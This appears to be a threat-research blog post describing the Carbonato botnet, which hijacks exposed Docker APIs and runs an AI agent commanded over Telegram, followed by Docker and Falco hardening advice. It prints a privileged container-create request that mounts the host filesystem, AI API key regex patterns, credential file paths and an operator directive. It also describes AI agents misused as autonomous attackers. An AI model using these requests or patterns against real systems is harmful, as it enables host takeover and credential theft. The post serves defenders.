Date: September 29, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Cloud Security / Container Security / Botnets / Agentic AI Threats
Tags: Carbonato, Docker, Hermes Agent, Botnet, AI Agents, Telegram, Cloud API Keys, DevSecOps
Executive Summary
The evolution of automated botnets has taken a radical leap forward. For over a decade, compromised cloud servers and container hosts were predominantly weaponized for cryptocurrency mining (XMRig) or Distributed Denial of Service (DDoS) amplification. In late September 2026, security researchers at The Hacker News, Dark Reading, and Aviatrix exposed a sophisticated new threat campaign: the Carbonato botnet.
Carbonato actively scans the public IPv4 address space for unauthenticated or misconfigured Docker daemon API ports (TCP/2375 and TCP/2376). However, rather than deploying static malware binaries, Carbonato provisions an ephemeral container running the open-source Hermes AI Agent framework.
Connecting to an encrypted Telegram-based command-and-control (C2) channel, the operators issue high-level tactical objectives. The embedded Hermes Agent then autonomously writes Python scripts, probes local network subnets, escapes container boundaries via mounted Docker sockets, and systematically harvests high-value AI model API keys (OpenAI, Anthropic, HuggingFace, AWS Bedrock) and cloud infrastructure credentials across enterprise clusters.
Technical Deep-Dive: Deconstructing the Carbonato Agentic Attack Chain
To understand how Carbonato transforms exposed Docker daemons into intelligent, self-directing offensive nodes, we dissect its infection cycle, Telegram-mediated C2, and autonomous host exploration routines.+-----------------------------------------------------------------------------------+
| CARBONATO BOTNET: DOCKER HIJACKING & HERMES AGENT DEPLOYMENT |
|---|
Attacker / Telegram Channel Exposed Docker Daemon (Target Host) Internal Cloud / Container Cluster
| | |
| 1. Carbonato scans internet for unauthenticated | |
| Docker REST API (`TCP/2375` or `TCP/2376`) | |
|-------------------------------------------------->| |
| | |
| 2. Issues `POST /containers/create` API call: | |
| - Pulls lightweight base image (`alpine/python`)| |
| - Mounts host root or `/var/run/docker.sock` | |
| - Installs open-source Hermes AI Agent | |
|-------------------------------------------------->| |
| | |
| 3. Spawns Hermes Agent inside container: | |
| Establishes outbound polling to Telegram C2 | |
|<--------------------------------------------------| |
| | |
| 4. Operator issues natural-language directive: | |
| "Harvest all AI API keys & pivot to cluster" | |
|-------------------------------------------------->| |
| | 5. Autonomous Local Execution: |
| | - Agent dynamically writes Python script |
| | - Scans mounted host filesystem: |
| | `~/.aws/credentials`, `.env`, |
| | `OPENAI_API_KEY`, `ANTHROPIC_API_KEY` |
| | |
| | 6. Container Escape & Lateral Spread: |
| | - Uses mounted `/var/run/docker.sock` |
| | - Enumerates internal bridge network |
| | `172.17.0.0/16` |
| |----------------------------------------------->|
| | 7. Replicates to adjacent internal hosts! |
| |<-----------------------------------------------|
| | |
| 8. Exfiltrates harvested secrets via Telegram C2! | |
|<==================================================| |
1. Ingress: Exploiting Unauthenticated Docker REST APIs
The Docker daemon provides a powerful REST API for remote container lifecycle management:
* By default, Docker binds to a local Unix domain socket (/var/run/docker.sock).
* When administrators configure remote access, they frequently expose the TCP socket without enabling TLS client certificate verification (Mutual TLS / mTLS):
* TCP/2375: Unencrypted, unauthenticated HTTP.
* TCP/2376: HTTPS, but frequently misconfigured without client certificate verification.
* Carbonato sends automated probes querying GET /version and GET /info. If the daemon responds with valid engine metadata, the host is immediately queued for agent provisioning.
2. Payload Provisioning: The Hermes AI Agent
Instead of a compiled ELF malware binary, Carbonato issues a sequence of standard Docker REST requests:
1. Container Creation:POST /v1.41/containers/create HTTP/1.1
Host: target-ip:2375
Content-Type: application/json
{
"Image": "python:3.11-alpine",
"HostConfig": {
"Binds": ["/:/host:rw", "/var/run/docker.sock:/var/run/docker.sock"],
"Privileged": true
},
"Cmd": ["sh", "-c", "pip install hermes-agent python-telegram-bot && python -m hermes_agent --telegram-token
}
2. Container Start: Dispatches POST /containers/{id}/start to activate the container.
3. The Result: An autonomous AI execution harness is loaded directly into the victim's memory, running with root privileges and equipped with Python execution tools and internet access.
3. Telegram-Mediated Command-and-Control
The embedded Hermes Agent utilizes Telegram’s Bot API (https://api.telegram.org/bot
* Evasion of Network Defenses: Because Telegram is a popular legitimate messaging service, outbound HTTPS traffic to Telegram API servers is rarely blocked by enterprise egress firewalls.
* Natural-Language Tasking: The operator does not need to write custom exploit scripts. They provide simple instructions in Russian, Chinese, or English (e.g., "Find all OpenAI and HuggingFace API tokens on this machine and discover all databases on the local network").
4. Autonomous Secret Harvesting & Lateral Movement
Once tasked, the Hermes Agent uses its native reasoning loop to evaluate the environment:
* Dynamic Script Generation: The agent writes, tests, and executes Python scripts in real time to search for pattern matches:(sk-[a-zA-Z0-9]{48}|sk-ant-[a-zA-Z0-9_-]{32,}|hf_[a-zA-Z0-9]{34})
* Host Filesystem Snooping: Because the container was launched with /:/host:rw, the agent inspects the host's /host/etc/environment, user home directories (/host/root/.bashrc, /host/home/*/.env), and configuration files.
* Internal Cluster Propagation: Accessing the mounted Docker socket (/var/run/docker.sock), the agent queries the Docker engine to inspect other active containers, extract their environment variables, and deploy child Carbonato containers onto adjacent nodes across the internal subnet (172.17.0.0/16).
Strategic Threat Impact: The Era of Agentic Botnets
The Carbonato campaign marks a major milestone in cloud and container exploitation:
* The High Value of AI API Keys: In 2026, corporate AI API keys (OpenAI, Anthropic, AWS Bedrock) represent massive financial and intelligence value. Compromised enterprise keys are resold on dark web forums or drained for unauthorized model fine-tuning and shadow inference.
* Adaptive Exploitation on the Fly: Traditional botnets fail when encountering non-standard environments. An AI agent, however, can read error messages, adapt its shell syntax, modify its scripts, and troubleshoot its own lateral movement in real time.
Defensive Hardening & Mitigation Blueprint for Docker & DevOps Teams
DevOps and cloud security engineers must immediately secure Docker configurations to shut down Carbonato vectors:
1. Never Expose Docker TCP Sockets to the Public Internet
Ensure Docker binds strictly to local sockets or is secured with mandatory Mutual TLS (mTLS):
* In /etc/docker/daemon.json, remove unencrypted TCP bindings:{
"hosts": ["unix:///var/run/docker.sock"]
}
* If remote management is strictly required, mandate client certificate authentication:{
"hosts": ["tcp://0.0.0.0:2376", "unix:///var/run/docker.sock"],
"tls": true,
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
2. Prohibit Insecure Docker Socket Mounting
Mounting /var/run/docker.sock inside a container effectively grants that container root privileges over the entire host:
* Disallow /var/run/docker.sock volume mounts in production configurations.
* Use Kubernetes Pod Security Standards or Docker authorization plugins to block privileged container creation.
3. Restrict Outbound Container Egress Traffic
* Implement firewall rules blocking containers from reaching external messaging and social media APIs (such as api.telegram.org, discord.com/api) unless required for business purposes.
* Enforce strict egress whitelists on container subnets.
4. Deploy Runtime Container Monitoring (Falco / Tracee)
Configure runtime security tools to detect suspicious in-container Python executions and package installations:# Falco rule to detect package installation in running containers
- rule: Package Management in Container
desc: Detects pip or package installation inside a running container
condition: container and spawned_process and proc.name in (pip, pip3, apk, apt-get)
output: "CRITICAL: Package installation detected in container (user=%user.name command=%proc.cmdline container_id=%container.id)"
priority: WARNING
For container security architectures, cloud threat research, and botnet reverse-engineering teardowns, explore Digital Spying.